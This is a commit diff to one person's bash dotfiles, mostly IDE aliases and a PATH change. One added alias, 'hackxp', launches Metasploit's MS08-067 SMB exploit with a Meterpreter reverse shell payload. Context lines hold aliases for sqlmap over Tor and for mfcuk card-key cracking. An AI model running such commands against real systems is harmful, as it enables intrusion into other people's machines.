瀏覽代碼

bash

master
Robin Thoni 8 年之前
父節點
當前提交
2cd0d6e388
共有 3 個文件被更改,包括 7 次插入3 次删除
  1. 4
    1
      bash/bash_aliases
  2. 1
    1
      bash/bashrc
  3. 2
    1
      bash/nma_exclude

+ 4
- 1
bash/bash_aliases 查看文件

@@ -74,9 +74,10 @@ alias necessitas="~/tools/Qt5.5.0/Tools/QtCreator/bin/qtcreator"
74 74
 alias studio="~/tools/android-studio/bin/studio.sh"
75 75
 alias sqlmap="~/tools/sqlmap-dev/sqlmap.py --proxy=socks5://127.0.0.1:9050 --check-tor --random-agent"
76 76
 alias clion="~/tools/clion-latest/bin/clion.sh"
77
+alias idea="~/tools/idea-latest/bin/idea.sh"
77 78
 alias phpstorm="~/tools/phpstorm-latest/bin/phpstorm.sh"
78 79
 alias rgsd="killall gnome-settings-daemon; gnome-settings-daemon &"
79
-alias irc='LANG=fr xchat'
80
+alias irc='ssh irc'
80 81
 alias ms4="mount /media/serv4/downloads && cd /media/serv4/downloads"
81 82
 alias ums4="umount /media/serv4/downloads"
82 83
 alias mfc="time mfcuk -C -s 250 -S 250 -v 4 -R"
@@ -93,3 +94,5 @@ alias update-confs="cd ~/confs && git pull -r && reload"
93 94
 alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
94 95
 alias xcopy="xclip -selection clipboard"
95 96
 alias ap="rfkill unblock wifi && sudo create_ap --config /etc/create_ap.conf"
97
+alias ns="sudo netstat -ntpa | grep LISTEN"
98
+alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"

+ 1
- 1
bash/bashrc 查看文件

@@ -119,7 +119,7 @@ if ! shopt -oq posix; then
119 119
     . /etc/bash_completion
120 120
   fi
121 121
 fi
122
-export PATH="$PATH:/sbin:/usr/sbin/:/usr/local/bin/android-studio/bin/:/home/robin/Android/Sdk/platform-tools/:/usr/local/bin/intellij/bin/;/home/robin/.composer/vendor/bin"
122
+export PATH="$PATH:/sbin:/usr/sbin/:/usr/local/bin/android-studio/bin/:/home/robin/Android/Sdk/platform-tools/:/usr/local/bin/intellij/bin/;/home/robin/.composer/vendor/bin:/home/robin/tools/maven/bin"
123 123
 
124 124
 reg_ip='([0-9]{1,3}\.){3}[0-9]{1,3}'
125 125
 reg_mac='([0-9a-f]{2}:){5}[0-9a-f]{2}'

+ 2
- 1
bash/nma_exclude 查看文件

@@ -1,4 +1,5 @@
1 1
 ^ssh
2
+^irc$
2 3
 ^vim
3 4
 ^svim
4 5
 ^sudo vim
@@ -7,4 +8,4 @@
7 8
 ^sudo watch
8 9
 ^eog
9 10
 ^tail
10
-^wifi
11
+^wifi$

Loading…
取消
儲存